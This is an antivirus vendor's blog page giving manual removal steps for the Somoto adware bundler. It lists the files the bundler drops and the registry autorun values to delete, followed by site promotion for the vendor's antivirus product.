%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13BF.tmp (35905 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse13C0.tmp\D8E84599C8EBE4D5 (34561 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso22FB.tmp (6482 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_xrwc_1" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_61c1e9ce07

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_61c1e9ce07

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet